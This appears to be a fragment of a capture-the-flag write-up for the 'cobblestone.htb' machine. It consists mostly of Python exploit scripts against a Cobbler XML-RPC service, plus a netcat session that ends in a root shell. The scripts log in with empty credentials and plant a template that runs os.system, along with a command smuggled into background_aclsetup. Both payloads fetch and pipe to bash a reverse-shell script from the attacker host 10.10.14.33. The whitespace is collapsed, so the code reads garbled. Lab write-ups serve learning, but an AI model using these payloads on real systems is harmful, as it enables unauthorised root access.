# s.background_aclsetup({'adduser':'`curl 10.10.14.33:8000/10.10.14.33:1335|bash`'}, token)❯ rlwrap nc -lvp 1335listening on [any]1335 ...
connect to [10.10.14.33] from cobblestone.htb [10.10.11.81]51168/bin/sh: 0: can't access tty; job control turned off
# whoami;id;pwdroot
uid=0(root)gid=0(root)groups=0(root)/
#
#!/usr/bin/python3importsslimportxmlrpc.clientssl_context=ssl._create_unverified_context()url="http://127.0.0.1:25151/"s=xmlrpc.client.Server(url)try:token=s.login('',-1)exceptxmlrpc.client.Faultase:print("Failed to log in to Cobbler")exceptExceptionase:print(f"Connection failed. {e}")v=s.version(token)print(f"Version: {v}")defdistro():distro_id=s.new_distro(token)s.modify_distro(distro_id,'name','distro-zero',token)# from /boot/s.modify_distro(distro_id,'kernel','/boot/vmlinuz-6.1.0-37-amd64',token)s.modify_distro(distro_id,'initrd','/boot/initrd.img-6.1.0-37-amd64',token)s.save_distro(distro_id,token)defprofile():profileid=s.new_profile(token)s.modify_profile(profileid,'name','profile-zero',token)s.modify_profile(profileid,'distro','distro-zero',token)s.save_profile(profileid,token)deftemplate_system():t=s.write_autoinstall_template('bash',"${__import__('os').system('curl 10.10.14.33:8000/10.10.14.33:1335|bash')}",token)t=s.read_autoinstall_template('bash',token)print(f"Content of Template: {t}")defsystem():sysid=s.new_system(token)s.modify_system(sysid,"name","system-zero",token)s.modify_system(sysid,"hostname","sckull.htb",token)s.modify_system(sysid,"profile","profile-zero",token)# https://cobbler.readthedocs.io/en/latest/code-autodoc/cobbler.items.html#module-cobbler.items.systems.modify_system(sysid,"template_files",{'/var/lib/cobbler/templates/bash':'/bash'},token)s.save_system(sysid,token)s.sync(token)if__name__=='__main__':distro()profile()# create a template to add into the new systemtemplate_system()# create and add template filesystem()
#!/usr/bin/python3importsslimportxmlrpc.clientssl_context=ssl._create_unverified_context()url="http://127.0.0.1:25151/"s=xmlrpc.client.Server(url)try:token=s.login('',-1)exceptxmlrpc.client.Faultase:print("Failed to log in to Cobbler")exceptExceptionase:print(f"Connection failed. {e}")v=s.version(token)print(f"Version: {v}")system_id=s.new_system(token)s.background_aclsetup({'adduser':'`curl 10.10.14.33:8000/10.10.14.33:1335|bash`'},token)